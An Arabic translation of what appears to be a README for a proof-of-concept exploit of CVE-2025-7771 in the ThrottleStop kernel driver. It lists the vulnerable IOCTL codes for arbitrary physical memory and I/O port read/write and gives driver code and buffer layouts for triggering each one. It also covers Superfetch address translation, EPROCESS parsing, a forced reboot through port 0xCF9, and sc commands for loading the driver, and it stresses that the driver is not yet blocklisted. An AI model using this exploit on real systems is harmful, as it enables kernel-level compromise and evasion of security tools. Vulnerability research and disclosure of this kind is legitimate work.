
CVE-2025-7771: قراءة/كتابة عشوائية للذاكرة الفعلية ومنافذ الإدخال/الإخراج عبر برنامج تشغيل ThrottleStop
CVE-2025-7771: قراءة وكتابة عشوائية للذاكرة الفعلية ومنافذ الإدخال/الإخراج عبر برنامج تشغيل ThrottleStop
ThrottleStop هو تطبيق صغير شرعي يُستخدم لمراقبة وتصحيح خنق المعالج (CPU throttling). يحتوي على برنامج تشغيل يسهّل هذه المهام، وهو في الغالب لا يملك أي نوع من التحقق من المدخلات.
| IOCTL | الضعف |
|---|---|
| 0x80006498 | قراءة ذاكرة عشوائية |
| 0x8000649C | كتابة ذاكرة عشوائية |
| 0x80006430 | قراءة منفذ عشوائية |
| 0x80006434 | كتابة منفذ عشوائية |
يبدو أيضًا أن هناك قراءة وكتابة عشوائية لـ MSR، لكنني لم أتمكن من جعلها تعمل.
لا تتردد في الاطلاع عليها بنفسك.
قراءة MSR تكون عند 0x80006448 والكتابة عند 0x8000644C.
إذا تمكنت من جعلها تعمل، يرجى تقديم issue يصف الإجراء.
جميع استدعاءات IOCTL المذكورة أدناه مُنفَّذة في ملف Exploit.c.
يقوم IOCTL ذو القيمة 0x80006498 بتعيين أي عنوان فيزيائي مُقدَّم إلى مساحة النواة باستخدام MmMapIoSpace ويقرأ منه 1 أو 2 أو 4 أو 8 بايتات. ثم تُنسخ البيانات مرة أخرى إلى مساحة المستخدم.
لتشغيل هذا IOCTL، استدعِ DeviceIoControl مع تمرير العنوان الفيزيائي كمدخل وحجم المخزن المؤقت للإخراج كحجم القراءة (1 أو 2 أو 4 أو 8).
كود مبسّط لهذا IOCTL داخل برنامج التشغيل:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
على غرار القراءة، يقوم IOCTL ذو القيمة 0x8000649C بتعيين العنوان الفيزيائي المُقدَّم إلى مساحة النواة باستخدام MmMapIoSpace ويقرأ منه 1 أو 2 أو 4 أو 8 بايتات.
لتشغيل هذا IOCTL، استدعِ DeviceIoControl مع التخطيط التالي لمخزن الإدخال المؤقت:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
سيكون حجم مخزن الإدخال المؤقت 8 + (1 أو 2 أو 4 أو 8) اعتمادًا على حجم الكتابة.
مخزن الإخراج المؤقت وحجمه غير مستخدمين.
كود مبسّط لهذا IOCTL داخل برنامج التشغيل:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
يسمح IOCTL ذو القيمة 0x80006430 للمستخدم بتحديد منفذ إدخال/إخراج والقراءة منه مباشرة باستخدام __inbyte أو __inword أو __indword.
مخزن الإدخال المؤقت هو USHORT ويجب أن يكون حجم مخزن الإدخال المؤقت sizeof(USHORT).
سيحتوي مخزن الإخراج المؤقت على النتيجة (1 أو 2 أو 4 بايتات حسب الحجم المطلوب) ويمكن أن يكون حجم الإخراج 1 أو 2 أو 4.
كود مبسّط لهذا IOCTL داخل برنامج التشغيل:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
على غرار قراءة المنفذ، يسمح IOCTL ذو القيمة 0x80006434 للمستخدم بتحديد منفذ إدخال/إخراج وكتابة قيم عشوائية إليه باستخدام __outbyte أو __outword أو __outdword.
تخطيط مخزن الإدخال المؤقت هو:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
يجب أن يكون حجم مخزن الإدخال المؤقت sizeof(USHORT) + sizeof(Value) (+ padding). مخزن الإخراج المؤقت وحجمه غير مستخدمين.
كود مبسّط لهذا IOCTL داخل برنامج التشغيل:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
يمكن تحقيق هذا التحويل عبر استغلال Superfetch، وهي وحدة نواة شرعية تُتيح تحويل العناوين الافتراضية إلى فيزيائية باستخدام واجهات برمجة تطبيقات غير موثقة. الكود الخاص بذلك مُنفَّذ في vtop.c
يمكن تجميع هذا المشروع باستخدام Meson. يقرأ حقل UniqueProcessId عن طريق تحليل بنية EPROCESS الخاصة بعملية النظام باستخدام PsInitialProcessSystem ويتحقق مما إذا كانت قيمته 4 (مُنفَّذ في Main.c، والدوال الخاصة بالعثور على EPROCESS لمعرّف عملية محدد مُنفَّذة في EProcess.c). بالإضافة إلى ذلك، يسأل المستخدم عما إذا كان يريد إعادة تشغيل نظامه قسرًا. يمكن تحقيق ذلك بكتابة القيمة 0x0E إلى المنفذ 0xCF9.
تحذير: تم اختبار كل شيء على Windows 11 build 24H2. قد تكون الإزاحات (offsets) في بنية EPROCESS مختلفة على نظامك.
قم ببناء المشروع من خلال
meson setup build
سيقوم ذلك بإنشاء دليل البناء. الآن قم بتجميع المشروع باستخدام
meson compile -C build
برنامج التشغيل متاح في دليل Drivers داخل المستودع. يمكن استخراج برامج تشغيل ThrottleStop مباشرة من برنامج ThrottleStop.exe عبر Resource Hacker. ستجد برنامجَي تشغيل - x64 و x86. يحتوي DriverObject->MajorFunction[14] على دالة الإرسال (dispatch function) التي طُبِّقت فيها جميع أوامر IOCTL.
أنشئ برنامج التشغيل وابدأ تشغيله باستخدام:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
لم تتم إضافة برنامج التشغيل هذا بعد إلى قائمة حظر برامج تشغيل Microsoft ولا إلى loldrivers.